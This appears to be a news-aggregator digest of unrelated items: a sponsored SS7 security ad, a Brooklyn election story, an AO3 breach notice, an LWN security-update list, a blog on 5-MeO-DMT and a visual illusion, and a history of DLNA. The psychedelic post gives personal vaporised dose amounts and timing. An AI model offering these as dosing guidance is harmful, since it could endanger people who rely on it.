Attackers use several methods to evade SS7 firewalls

No SS7 support

Diameter-based attacks

Firewalls rely on widely published GSMA baselines

Firewalls updated from penetration tests using current techniques

You can’t patch the telecom backbone, but you can choose your carrier

Following every best practice, such as using encrypted messaging, avoiding public Wi-Fi, and enabling 2FA, still leaves your device dependent on networks never built with security in mind.

For people who are targeted, such as journalists, executives, security staff, and anyone whose accounts rely on SMS verification, the carrier is part of the threat model.

Switch to a carrier built for signaling security. Learn more about Cape →

Sponsored and written by Cape .

A Pre-Election Trip to Battleground Southern Brooklyn

hellgate
hellgatenyc.com
2026-10-30 09:57:35
Democrats want to take back some turf, and other news to start your day....
Original Article

On Thursday afternoon, state Assembly candidate Chris McCreight knocked on doors inside the dilapidated Coney Island Sites 4 & 5 NYCHA housing with a list of Democratic voters who had not already voted early. The narrow hallways were littered with plaster and paint that had fallen from the ceiling.

"These are some of the worst conditions we have," said McCreight, who's running against Republican incumbent Alec Brook-Krasny to represent parts of Coney Island and Bay Ridge.

He would know. McCreight has long been part of the Democratic power structure in Bay Ridge. He's currently a senior advisor to Councilmember Kayla Santosuosso, and was previously chief of staff to Councilmember Justin Brannan for eight years. This is his second time running to represent this Assembly district, having lost to Brook-Krasny by five points in 2024.

Though Democrats, including ones McCreight works for, have long represented the area, there's been a swing to the right in recent years. That rightward shift is in a way encapsulated in the career of Brook-Krasny, an immigrant from Russia who switched from the Democratic Party to the Republican Party in 2022, when he won the southern Brooklyn Assembly seat. (He had quite the colorful career as a Democratic legislator before then .)

But now, in this potential "blue wave" midterm year, McCreight is one of four Democrats in southern Brooklyn who are trying to flip Republican seats. He sees the entire environment this election cycle as far different from 2024, with voters way more focused on his own race and local issues than when he shared the ticket with the presidential race.

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Update on AO3 Downtime, October 30, 2026 | Organization for Transformative Works

Lobsters
www.transformativeworks.org
2026-10-30 09:54:17
The Archive of our Own aka AO3, a huge, non-profit, volunteer-run fanfic archive with over 11 million registered users, discovered a security incident yesterday and took the site down. They expect the site to be down at least two weeks. Comments...
Original Article

Earlier today, we detected evidence of a security incident on AO3. We are still in the early stages of response to this security incident and determining its scope. AO3 will remain down while we continue investigating and addressing what has been found so far. However, we want to make some things clear:

First, no AO3 data has been deleted. All your works, bookmarks, kudos, etc., are safe.

Second, while we currently don’t believe that the user database was stolen, we are also unable to rule it out. The AO3 database contains account information that may include your username, email address, IP address, and a hashed version of your password.

We use industry-standard techniques for storing passwords in a scrambled form that cannot easily be reversed. Even so, no hashing method can fully protect a weak or reused password from being cracked. As a precaution, we recommend that you change your passwords on any other sites where you use the same password as on AO3.

AO3 does not collect real names, so none could be exposed. Additionally, our donor information is held in an entirely separate system and is never linked to AO3, so that data has also not been exposed.

We will update everyone as our investigation continues; we may be unable to respond to individual inquiries from users. Please keep an eye on our official outlets for updates. Our next update will be posted when we have further information available.

Our current expectation is that AO3 will be down for a minimum of two weeks; however, it could take up to four weeks. During that time, we may be able to bring the site back up in a degraded state, meaning that not all features will be available and/or the site may be read-only. If we are able to do that, please be aware that we might have to bring the site back down unexpectedly as part of our recovery efforts. We will keep you in the loop for any developments.

Intel plunges 25%, triggers global chip rout on bleak outlook

Hacker News
www.reuters.com
2026-10-30 09:43:48
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Original Article

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Pompeii wardrobe found untouched since 79CE holds keepsakes, coins, and two mice

Hacker News
archaeologymag.com
2026-10-30 09:40:29
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Original Article

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Sorry, the page you are looking for could not be found. It's just an accident that was not intentional.

Security updates for Friday

Linux Weekly News
lwn.net
2026-10-30 09:37:12
Security updates have been issued by AlmaLinux (aspell, cjose, curl, gcc-toolset-15-gcc, httpd:2.4, ignition, java-21-openjdk, libX11, libXi, libXrender, libXtst, mariadb:10.11, nodejs:24, python-pillow, python3.12-urllib3, and webkit2gtk3), Debian (imagemagick, libdatetime-timezone-perl, python-git...
Original Article
Dist. ID Release Package Date
AlmaLinux ALSA-2026:92615 8 aspell 2026-10-30
AlmaLinux ALSA-2026:92145 9 cjose 2026-10-29
AlmaLinux ALSA-2026:92368 8 curl 2026-10-29
AlmaLinux ALSA-2026:90915 8 gcc-toolset-15-gcc 2026-10-30
AlmaLinux ALSA-2026:92616 8 httpd:2.4 2026-10-30
AlmaLinux ALSA-2026:91719 9 ignition 2026-10-29
AlmaLinux ALSA-2026:88349 8 java-21-openjdk 2026-10-30
AlmaLinux ALSA-2026:91365 9 libX11 2026-10-29
AlmaLinux ALSA-2026:91004 10 libXi 2026-10-29
AlmaLinux ALSA-2026:91056 9 libXi 2026-10-29
AlmaLinux ALSA-2026:91057 9 libXrender 2026-10-29
AlmaLinux ALSA-2026:91223 9 libXtst 2026-10-29
AlmaLinux ALSA-2026:33482 9 mariadb:10.11 2026-10-29
AlmaLinux ALSA-2026:92376 8 nodejs:24 2026-10-29
AlmaLinux ALSA-2026:92378 9 nodejs:24 2026-10-29
AlmaLinux ALSA-2026:92639 8 python-pillow 2026-10-30
AlmaLinux ALSA-2026:92474 8 python3.12-urllib3 2026-10-29
AlmaLinux ALSA-2026:91580 9 webkit2gtk3 2026-10-29
Debian DSA-6593-1 stable imagemagick 2026-10-29
Debian DLA-4868-1 LTS libdatetime-timezone-perl 2026-10-29
Debian DSA-6594-1 stable python-git 2026-10-29
Debian DSA-6595-1 stable tor 2026-10-29
Debian DLA-4867-1 LTS tzdata 2026-10-29
Debian DLA-4869-1 LTS vlc 2026-10-29
Debian DSA-6596-1 stable wordpress 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 accessibility-inspector 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadi-calendar 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadi-calendar-tools 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadi-contacts 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadi-import-wizard 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadi-mime 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadi-search 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadi-server 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akonadiconsole 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 akregator 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 alligator 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 analitza 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 angelfish 2026-10-29
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Fedora FEDORA-2026-21f4914bca F45 audiocd-kio 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 audiotube 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 aurorae 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 baloo-widgets 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 blinken 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 bluedevil 2026-10-29
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Fedora FEDORA-2026-21f4914bca F45 bovo 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 breeze-gtk 2026-10-29
Fedora FEDORA-2026-4aade61415 F43 brotli 2026-10-30
Fedora FEDORA-2026-21f4914bca F45 bup 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 calendarsupport 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 calindori 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 calligra 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 cantor 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 colord-kde 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 cxx-rust-cssparser 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 dolphin 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 dolphin-plugins 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 dragon 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 elisa-player 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 eventviews 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 falkon 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 fcitx-configtool 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 ffmpegthumbs 2026-10-29
Fedora FEDORA-2026-21f4914bca F45 filelight 2026-10-29
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Just Noting That Your Candy Corn Is Made of Bug Secretions

Hacker News
www.theatlantic.com
2026-10-30 09:26:43
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5-MeO-DMT sometimes cancels the Ebbinghaus illusion

Hacker News
psychotechnology.substack.com
2026-10-30 09:20:06
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Original Article

Psychedelics produce all sorts of visual distortions: from breathing walls and geometric patterns to complex visual landscapes populated by full-blown entities. Sometimes people claim to see the Truth on them — but it’s typically spiritual, emotional or personal truth.

But can psychedelics make you see the world more clearly in the most literal sense? Amid the sea of visual distortions they produce, might some patterns be perceived more clearly than they are in our normal, sober waking state?

At least sometimes, the answer appears to be yes . On 5-MeO-DMT, a powerful psychedelic, I experienced a near-complete cancellation of the Ebbinghaus illusion.

The two orange circles above are physically the same size, but the surrounding grey circles make the one on the right appear larger.

This illusion was discovered by German psychologist Hermann Ebbinghaus (1850–1909) and popularised by Edward B. Titchener in a 1901 textbook on experimental psychology .

Different people perceive the illusion to different degrees. To me, the circle on the right looks about 10–20% larger, depending on my distance from the screen and the size at which the illusion is displayed. I measured my own susceptibility using an app I vibe-coded with GPT-5.6 Sol : I dragged a slider until the two circles appeared equal in size.

In May and June 2026, I attended the Qualia Research Institute ’s research retreat in Tepoztlan, Mexico. Over eight weeks, a team of physicists, mathematicians, visual artists, advanced meditators, philosophers, and rational psychonauts studied jhanas (deep meditative absorption states) and 5-MeO-DMT (a powerful psychedelic that’s legal in Mexico).

QRI is a non-profit building a new science of consciousness. Its central bet is that:

  • Consciousness is a relatively simple property of our universe — simple enough for evolution to discover it.

  • Consciousness has useful computational properties — otherwise evolution would not have come to rely on it.

Physicists do not study only ordinary matter at room temperature. They also build particle accelerators to create exotic forms of matter, which can reveal more about the mathematical laws governing our universe. Similarly, QRI studies exotic consciousness states, such as those arising from psychedelics, to uncover mathematical principles behind subjective experience.

Visual illusions are interesting for a related reason: they are small tears in the fabric of normal perception — glitches that make it apparent that there is active construction going on underneath. Studying how these irregularities change under psychedelics may offer further clues about consciousness as a computational medium.

We were in Tepoztlán for eight weeks, one of which was dedicated to exploring 5-MeO-DMT. It is a short-acting psychedelic whose effects last around 10–20 minutes when vaporised. Vaporisation was our typical route of administration because 5-MeO-DMT is inactive when taken orally: enzymes in the gut and liver rapidly break it down.

On my third day of exploring it, we vaporised 5-MeO-DMT in increments of approximately 3.4 mg, taking up to three doses within a one-hour window. The 3.4 mg figure was estimated from the concentration of 5-MeO-DMT in the liquid.

5-MeO-DMT is a highly abstract psychedelic and, at those doses, not a very visual one. Your ego may be blown to smithereens, your understanding of reality may be turned upside down while your ordinary concepts blend into fun uniform mush. But all this while you visually experience little more than intensified colours in a hyper-HD fashion, some flattening of the visual field into two dimensions, and perhaps a few minimal geometric patterns.

This ratio of mental to visual effects sets 5-MeO-DMT apart from classical psychedelics such as LSD, psilocybin, and DMT. The difference may stem from its neuropharmacology: classical psychedelics act primarily as agonists at serotonin 5-HT2a receptors, whereas 5-MeO-DMT acts primarily as a 5-HT1a receptor agonist — though it has activity at 5-HT2a receptor too. It is a weird drug, and I have heard people call it transcendelic for this. I think this label is apt.

And so I take a 3.4 mg hit out of a 5-MeO-DMT vape pen. Within 15 seconds, my ego is indeed blown to smithereens, and my consciousness becomes perhaps 50 times more intense per “unit of perceptual field.” This is not an exaggeration: somehow, everything in my experience is more intense. “Fuck that. I am not taking this drug again” I think to myself. But 5-MeO-DMT is short-acting, and ten minutes later, my sense of self returns — and I change my mind. I take another 1.7 mg, but it does not intensify the experience further. A few minutes later, I take another 3.4 mg. This deepens the experience somewhat, but not nearly as much as the first dose.

And that’s when I decide to stare at the Ebbinghaus illusion — the peak has clearly passed, my sense of self regained enough to open my laptop, but all in all the effects of the drug are still quite pronounced.

As I mentioned, 5-MeO-DMT is not a very visual drug. When I first look at the illusion on my laptop screen, it looks exactly as it does when I am sober: the orange circle on the right still appears larger.

But then I notice that when I move my attention to the centre of the picture — to the space between the two groups of circles — their apparent sizes begin to rebalance as if they were physical objects exerting field-like pushes and pulls on one another — or balloons being inflated and deflated.

The illusion is effectively under volitional control. Move attention to either group of circles, and it looks as it does when I am sober. Move attention to the centre, the size difference almost disappears. The transition between those two states is smooth. The video below replicates the effect, with the cross representing the focus of attention:

The replication is designed to be viewed while sober, which creates a problem: the viewer experiences the very illusion whose cancellation I am trying to depict. I calibrated the video to my own perception, deliberately adjusting the circles’ sizes until they appeared nearly equal to me at the point of maximum cancellation. But because your baseline Ebbinghaus effect may be stronger or weaker than mine, the video may look different to you.

If that’s the case, simply assume that the circles are meant to appear nearly equal when the cross moves to the centre. Alternatively, you can play with the app here to tune it for your experience.

The 2025 study “Psilocybin alters visual contextual computations” reports that psilocybin increases the Ebbinghaus illusion by 38% (5 mg dose) and 59% (10 mg dose) relative to placebo. As I mentioned above, classical psychedelics are 5-HT2a agonists, so I would tentatively — very tentatively — expect this effect to generalise to other classical psychedelics, such as LSD and DMT. 5-MeO-DMT’s preference for 5-HT1a may be key for the cancellation.

I haven’t had a psychedelic trip ever since coming from the retreat, so I can’t say if other psychedelics increase or decrease the illusion for me.

Among the other retreat participants who noticed any effect of 5-MeO-DMT on the illusion, all reported that it became weaker.

One participant I spoke to also reported that the illusion was under volitional control, but apparently in a different way from mine. They compared it to a Necker cube that they could deliberately flip between two interpretations.

The Necker cube is shown in the centre. Many viewers can deliberately flip between the two orientations represented on its left and right.

After the trip described above, I had another 5-MeO-DMT trip — at a higher dose. During the comedown, I looked at the Ebbinghaus illusion again and saw no change in the circles’ relative apparent sizes. The perceptual effects were minimal: the contextual circles seemed to form vertical groups of three on either side — but had no effect on the size.

I don’t have a good theory for why the cancellation happened one time but not the other.

My experience of the cancellation felt strikingly physical: the circles seemed like objects exerting field-like pushes and pulls on one another until they reached an equilibrium. This may be more than a coincidence.

There are electromagnetic theories of consciousness postulating that consciousness is an electromagnetic phenomenon. Some of these theories go so far as to claim that consciousness is the electromagnetic field as experienced from the inside. In this view, what we call “the electromagnetic field” is a third-person description of the underlying phenomenon, while consciousness is its first-person aspect.

Not every pattern in the electromagnetic field would be experienced as human-like consciousness. Perhaps most such patterns would amount to simple “qualia white noise”. Only under the right conditions, with the right kinds of self-interaction, would activity in the field form complex patterns corresponding to moments of human experience with complex self-reflection. For an impressionistic interpretation of how this might work, check out this video .

I am not claiming this with certainty — quite the opposite. My probability for the EMF theories is ≈65%. But after experiencing field-like interactions among circles in my visual field on 5-MeO-DMT, I updated upwards by like 5%.

As they write in scientific papers — further research is needed. It took 300 trillion proton-proton collisions on the LHC to confirm the existence of the Higgs boson , which is only one small building block of the physical reality. Do we need 300 trillion 5-MeO-DMT trips to figure out consciousness? Probably not — or at least not yet. We are not at the stage of testing a definitive theory of consciousness against a vast number of precise observations. Consciousness research is currently very much preparadigmatic.

But a study with a few dozen 5-MeO-DMT trips would be great to see. How much 5-MeO-DMT do we need for the illusion reduction to appear at all? What’s the relationship between the dose and the strength of the illusion reduction? What’s the mathematical model that best describes the field-like push/pull effects — and how does it correspond to existing theories in physics?

These are the questions a larger study could try to answer. But in the meantime, you can give me money to take drugs, look at shapes and publish the results on this Substack.

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Smart audio for the smart home (2021)

Lobsters
computer.rip
2026-10-30 09:04:57
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Sonos offers a popular line of WiFi-based networked speakers that are essentially a consumer distributed audio system. It's a (relatively) affordable and easy to use spin on the network-based audio rendering systems already common in large building background music/PA and, increasingly, entertainment venue and theatrical sound reinforcement. The core of it is this: instead of distributing audio from one amplifier position to multiple speakers over expensive and lossy (in commercial contexts) or difficult to install (in consumer contexts) speaker-level audio cables, audio is distributed over an IP network to a small amplifier colocated with each speaker [1].

This isn't a new concept, although Sonos had to invest considerable effort in getting it to function reliably (without noticeable synchronization issues) over unreliable and highly variable consumer WiFi networks. From the perspective of commercial audio, it's just a more consumer-friendly version of Dante or Q-LAN. From the perspective of consumer audio, it's either revolutionary, or the sad specter of two decades of effort in network-enabled consumer AV systems. After all the work that was done, and all the technologies that could have succeeded, Sonos is what we ended up with: a feature-incomplete, walled-garden knockoff of DLNA.

Yes, I'm being unfair to Sonos. The biggest problem that Sonos figured out how to solve, precise and reliable synchronization of audio renderers without special network facilities like PTP, isn't one that DLNA attempted to address. And it remains a hard problem today; even my brand-new bluetooth earbuds regularly experience desynchronization problems when my phone's mediocre Bluetooth stack gets behind (maybe my ailing phone is more to blame than theoretical complexity).

But every time I really look at today's home media streaming and management landscape, which is largely dominated by Sonos, Apple's AirPlay, and Google's ChromeCast, it's very hard not to see it as a shadow of DLNA.

So what is DLNA, and why did it fail? In general, why is it that all of the home network AV efforts of the late '90s through the '00s amounted to nothing, and were replaced by thin, vendor-locked "cast" protocols?

The answer, of course, is Microsoft and Capitalism (rarely have there been two more ominous bedfellows). But let's get there the long way, starting with the evolving home media landscape of the late '90s.

The compact disc, or CD, came into widespread popularity in the late '80s and represented a huge change in music distribution. Besides the low cost, small size, and excellent fidelity of CDs, they were the first widespread consumer audio recording format that was digital. For the first time it was, in principle, possible to create an exact digital copy of CD. Once written to another storage device, the CD could be handled as computer data [2].

"CD Ripping" actually did not become especially common until the early '00s. In practice, "ripping" audio CDs from PCs is somewhat complex because of the surprisingly archaic architecture of PATA CD drives. Early computers, in the '90s, often weren't capable of fast enough I/O to read an audio CD at 1x speed (meaning as fast as the audio bitrate, allowing real-time decoding). Even for those that were, audio CDs amounted to hundreds of megabytes of data and hard drives that large were very costly. As a result, PC CD drives played audio CDs by behaving as plain old CD players and outputting analogue audio. Some of you may remember installing an IDE CD drive and having to connect the three-wire analogue audio output from the CD drive to the sound card. Some of you may even remember the less common CD drives with discrete playback control buttons on the front panel, allowing it to be used to play music without any media software to control it.

These CD drives, when playing audio, behaved a lot like smartphones making phone calls: the computer actually wasn't "in the loop" at all, all it did was send the CD drive commands to play/pause/etc and the CD drive decoded the audio and converted it to analog internally, sending it straight to the amplifiers in the sound card. With this architecture, the way to "rip" a CD was actually to tell the CD drive to start playback and then use the soundcard to record its analogue output. This ran only at real-time speed, not all soundcards were capable without an external jumper from the line out to line in, and the double conversion reduced quality. It didn't take off, although Gnome's Sound Juicer continued to use this method until around 2005.

The much better method, of actually reading the CD as data and decoding the audio in software, took off in the '00s, mostly in the form of WinAmp 5.0 and Windows Media Player in XP. It greatly accelerated a trend which already seemed clear to industry: consumers would purchase their music on physical media (downloading it was still infeasible on most consumer's internet connections), but in the future they would immediately rip it, store it on a central device, and then play it back in digital form using a variety of devices.

Microsoft leaned hard into this vision of the future, not just a little because it strongly implied multiple licensed copies of Windows being involved in the modern home stereo. A significant development effort that entailed the addition of multiple new operating system features lead to Windows XP Media Center Edition, or MCE, released in 2002. MCE was a really impressive piece of software for the time. An MCE computer wasn't just a computer, it was a "home media hub" capable of consuming media from multiple formats, storing it, and then streaming it over the network to multiple devices. MCE introduced consumers to significant expansions of the role of the "computer" in media. For example, MCE supported playback and recording of television from cable and multiple OEMs sold MCE desktops with preinstalled cable tuners. An XP MCE machine could compete with Tivo, but with distributed playback which Tivo would not introduce until later.

Microsoft leveraged their newfound place in the home theater, the Xbox, to create an ecosystem around the platform. First-gen Xbox consoles with a purchased upgrade and all Xbox 360 consoles could function as "media center extenders," which entailed opening an RDP session to the MCE machine to present the MCE interface on the Xbox. Extensions to RDP implemented to support this feature, namely efficient streaming of HD video over RDP without re-encoding, went on to drive the "network projector" functionality between Windows Vista and various Ethernet-enabled projectors. This was arguably the primary precursor to the modern ChromeCast as RDP introduced some (but not nearly all) of the offloading to the streaming target that ChromeCast relies on. In fact the Media Center Extender and Network Projectors are closely related both technically and in that they have both faded into obscurity. Modern "network projectors" typically rely on the simpler, AirPlay-like and Microsoft-backed but open Miracast protocol [3].

Because Media Center Extender relied on RDP, it essentially required that the Extender implement a good portion of the Windows graphics stack (remember that RDP is basically a standardization of Citrix's early application streaming work, which made a lot of assumptions about a Windows client connecting to Citrix/Windows server environment and offloaded most of the drawing to the client). This was no problem for the Xbox, which ran Windows, but the improvements to RDP and open standards that make non-Windows RDP clients practical today were not yet complete in the '00s and it was unreasonable to expect conventional consumer A/V manufacturers to implement the Extender functionality. Microsoft didn't make anything near a full line of home media products, though, and so it needed some kind of Ecosystem.

Conveniently, Intel was invested in the exact same issue, having begun to introduce a set of Intel-branded media streaming solutions (including WiDi, a true unicorn to see in the wild, which allowed certain Intel WiFi adapters to stream video to a television well before this was a common consumer capability). Because media streaming required fast I/O and network adapters, both Intel offerings, it had real potential to expand consumer interest in Intel's then commercial products. Intel kicked off, and recruited Microsoft and consumer A/V giant Sony into, a new organization called the Digital Living Network Alliance. That's DLNA.

DLNA built on UPnP, the then-leading consumer network auto-discovery and autoconfiguration protocol, to define a set of network standards for the new integrated home media network. DLNA defined how a set of devices broadly categorized as Media Servers, Media Players, and Media Renderers would discover each other and exchange signaling in order to establish various types of real-time media streams and perform remote control. As a broad overview, a Media Server offered one or more types of stored (e.g. files on disk) or real-time (e.g. cable tuner) media to the network using established protocols like RTSP. A Media Player allowed a user to browse the contents of any available Media Servers and control playback. A Media Renderer received media from the Media Server and decoded it for playback.

The separation of Media Player and Media Renderer may seem a bit odd, and in practice they were usually both features of the same product, but enabled network-based remote control of the type we see today with Spotify Connect. That is, you could launch a Media Player on your computer (say Windows Media Player) and use it to play audio on the Media Renderer integrated into your stereo receiver. Other Media Players could discover the renderer and control its playback as well. This was all possible in Windows XP, although it was very seldom used because of the paucity of Media Renderers.

The problem is not necessarily that DLNA failed to spawn an ecosystem. While Microsoft added pretty complete DLNA support to Windows through MCE, Windows Media Player, and Explorer (where it became intertwined with the Homegroup peer-to-peer network sharing system), JRiver and TwonkyMedia were major third-party commercial DLNA Media Servers. On the open source side, Xbox Media Center (XBMC), now known as Kodi, had fairly strong DLNA support. Plex, still a fairly popular home media system today, originated as a port and enhancement of XBMC and went on to gain even more complete DLNA support. Even Windows Media Center itself was extensible by third-parties, providing a public API to add applications and features to the MCE interface.

Years ago, around 2008, I successfully interoperated TwonkyMedia, Plex, Windows Media Player, and a Logitech hardware renderer all via DLNA. This has become more difficult over time rather than less, as the market for DLNA-capable hardware has thinned and DLNA software support has fallen out of maintenance.

One major challenge that DLNA faced was the low level of consumer readiness for fully digital home media. It's an obvious problem that consumers weren't yet used to the idea of "smart TVs" and other devices that would integrate DLNA clients. DLNA clients were somewhat common in devices like HD-DVD and Blu-Ray players (these already needed a pretty significant software stack so adding a DLNA client wasn't much extra effort), but it tended to be a second-class feature that was minimally marketed and usually also minimally implemented. I remember a particular LG Blu-Ray player that had a mostly feature-complete DLNA Media Player and Media Renderer but struggled to actually play anything because somewhere between its chipset and 802.11g, network streaming performance was too poor to keep up with 1080p content.

And 802.11g is part of the problem as well. Home networks were surprisingly bad in the early to mid '00s. I suppose it shouldn't be that surprising, because "home network" was largely a new idea in that time period that was displacing a single computer directly connected to a modem. Broadband was taking over in cities, but DOCSIS and DSL modems still provided a USB interface and it was not uncommon for people to use it. Almost no one ran ethernet because of the high cost of installing it concealed and the frustration and aesthetic impact of running it along floorboards [4]. 802.11g, the dominant WiFi standard, was nominally fast enough for all kinds of media streaming but in practice congestion and range issues made 802.11g performance pretty terrible most of the time. All of this is still mostly true today, but we've gone from nominal WiFi speeds of 54mbps to well over a gigabit, which allows for a solid 20mbps even after the very substantial performance reduction in most real environments.

The biggest problem, though, is the troublesome concept of a "server" in the home. Microsoft seemed to operate, at the time, on the assumption that a desktop computer would serve as the Media Server. In fact, MCE specifically introduced power management enhancements to Windows XP intended to allow the MCE machine to stay in standby mode but wake when needed for media recording or streaming (this never seems to have worked very well). Microsoft further reinforced this concept with their marketing strategy for MCE, which was only released to developers and OEMs and could not be purchased as a regular standalone license. If you were going to use MCE, it was going to be on a desktop computer sold to serve as a hybrid workstation and media server.

Unfortunately, around the same time period the household desktop started to become a less common fixture. Lower prices and better performance from laptops could free up a desk and add a lot of flexibility, and consumers were just getting less excited about buying a mid-tower. And besides, the hard drive capacities of the time made a normal desktop somewhat limited as a media server. Remember, this was back in that awkward period of physical media where it was common for desktops to have two optical drives because people wanted a DVD player and a CD burner, and no one had figured out how to economically fit both into one device yet. Hard drives were usually in the hundreds of GB only.

What was needed, it seemed, was some sort of home media server appliance that was compact, affordable, and user-friendly enough that people would consider it a typical network appliance like a router/AP combo. That's sort of what Apple delivered in the AirPort Time Capsule (and then later kind of in the Apple TV, it got confusing), and pretty much what we would call a consumer NAS today (like a Drobo or QNAP or something). Back in the mid '00s neither of these options were available on the market, and most people weren't going to watch the episode of Screen Savers about connecting a JBOD to a desktop on the cheap. So, in 2007, Microsoft served up a real wonder: Windows Home Server.

Windows Home Server was a stripped down (although surprisingly little) version of Windows Server 2003 R2, intended to be easily set up and managed by a consumer using a desktop client called the Windows Home Server Console. The Console was a bit like the MMC in principle, but with fewer features and more wizards. Although I'm having a hard time confirming this, I believe it actually worked via RDP using the Virtual App technology, meaning that the actual Console ran on the server and only the GUI drawing occurred on the client. This probably eased implementation but had the result that you could only really manage Windows Server from Windows, which did not help at all against Apple's widely perceived media dominance.

Not a lot of Windows Home Server devices made it to the market. HP released several, one of which I used to own. The larger HP Home Servers were pretty similar to a modern consumer NAS, with multiple front-accessible drive bays. Home Server functioned (perhaps first and foremost) as a DLNA server, but also offered a number of other services like backup, brokering RDP connections from the internet for remote desktop, and a web-based file browser to get your files remotely---naturally tied into .NET Passport. Home Server was extensible and third-party software could be installed from a small app store and managed from the Console; both Plex and Twonky offered Home Server versions at the time. Several commercial antivirus packages were available as well, as this was a bit before Microsoft took antivirus and HIDS on as a first-party component, so Norton and McAffee could still make a lot of money off of getting you to pay for one more license. In fact the Home Server versions of these antivirus products were interesting because they often functioned more like a miniature enterprise antivirus/HIDS platform, centrally controlling and monitoring your host-based security products from the Home Server.

Windows Server also introduced a significant new feature called Drive Extender, which was a high-level file system feature that allowed the user to combine multiple drives into one logical drive and use multiple drives for redundancy, all in a way which was largely agnostic to the drives and interfaces in use. This was presumably a response to the high cost of the hardware RAID controllers that served the same purpose in most "real" Windows Server machines, but it compared favorably with the software-first approach to storage management that would shortly after spread through the POSIX world in the forms of ZFS and Btrfs. Ironically Drive Extender was a source of a lot of frustration and data loss as it turned out to buggy, which is perhaps why Microsoft ignominiously killed the feature along with Windows Server. Years later later it would reappear, seemingly in a much reworked form, under the name Storage Spaces.

And what would you guess happened with Windows Home Server? That's right, it failed to gain traction and slowly faded away. Windows Home Server 2011 did make it to the light of day but proved to be the last version of the concept.

Ultimately I think it was a victim of Microsoft's usual failures: it addressed a new use-case rather than an existing one, so it wasn't something that consumers had much interest in to begin with. Microsoft massively failed at creating a marketing campaign that would convince consumers otherwise. The cost of Home Server devices was pretty high (for much the same reasons that consumer NAS continue to be rather expensive today), and at the end of the day it just kind of sucked. In a fashion very typical of Microsoft, it had a lot of interesting and innovative features but the user experience and general level of polish were surprisingly poor. The Console, I remember, was sometimes nearly impossible to get to connect without rebooting the server. The Drive Extender faults lead to a lot of instances of data loss which then lead to bad press. It formed a part of Microsoft's generally confusing and poorly designed home sharing experience, later Homegroups, and so got tangled up in all of the uncertainty and poor usability of those features (for example to easily get access to the server's storage via SMB). The whole thing was a failure to launch.

And that sort of sums up the fate of DLNA as well: despite the best efforts of its promoters, DLNA never really got to a position where it was attractive to consumers. It was mostly intended to solve a problem that consumers didn't yet have (access to their non-existent local media library and their non-existent computer cable tuner [5]), and time has shown would never really have. The ecosystem of DLNA products, outside of Windows, was never that large. Dedicated media renderers never gained consumer adoption, and devices that threw in DLNA as a value-add (like a lot of HD-DVD players) did a bad job and didn't promote it. DLNA was complex and a lot of implementations didn't work all that well on home networks, which was also true of related technologies (like SMB file sharing) that were important parts of the whole home network ecosystem.

Moreover, DLNA was wiped out by two trends: the cloud, and proprietary casting systems.

First, the cloud: the idea that consumers would have a large local library of music, TV shows, and movies, has never really materialized. The number of people who have a multi-terabyte local media collection is vanishingly small and they are basically all prolific pirates, which makes the broader media industry uninterested in keeping them happy. In fact much of the media industry worked to actively discourage this kind of use pattern, because it is difficult to monetize in a reliable way.

Instead, most consumers get their media from a cloud-based streaming service like Spotify, which has no requirement for any particular features on the local network. Since these types of services already need significant cloud support, it becomes easier to implement features like casting and network remote control within the product itself, without any need (or support) for open standards. No one needs DLNA because they use Spotify, and Spotify has worked commercial partnerships to get Spotify Cast support in their A/V devices.

Second, proprietary casting systems: one of the features but also, in hindsight, defects of DLNA was its underlying assumption of a peer-to-peer "matrix" system in which many devices interacted with many devices in a flexible way. In practice, 90% of consumer use cases can be solved by a much simpler system in which a media renderer operates under direct remote control (and perhaps receiving media directly from) of a computer or phone. Miracast, for example, operated in this fashion and while it never became that common it was much more practical to integrate Miracast support into a device like a TV than a DLNA renderer and player.

Moreover, casting features offer a compelling opportunity for vendor lock-in, since it is natural to integrate them with operating systems and specific applications. While Microsoft made some effort to promote the Miracast standard it was lackluster at best, so the whole space was dominated by Apple (which had a head start in the form of iTune's remote playback capabilities and massive leverage by integrating the feature into iOS) and Google (which mostly won by making the Chromecast extremely cheap, although leveraging the YouTube app was also a major boon). Neither of these companies have much interest in facilitating a multi-vendor ecosystem, and in the case of consumer A/V devices where they have little strength they operated for closed partnerships with device manufacturers over open standards. Along with commercial incentives the scheme works: my TV supports the closed standards AirPlay and Chromecast, but ironically not the open standard Miracast. The only device I have with integrated Miracast support is a no-brand sub-$200 DLP projector, where it works very well.

DLNA formally dissolved in 2017, although the writing was on the wall as early as 2010 when Spotify began to transform the way music was consumed. Similar capabilities are now found in various vendor-proprietary systems, but few of these approach the original ambitions of DLNA. A huge industry preference for cloud-intermediated platforms and increasing consolidation of home media onto one of a small number of walled gardens makes any serious resurgence of a DLNA-like project unlikely.

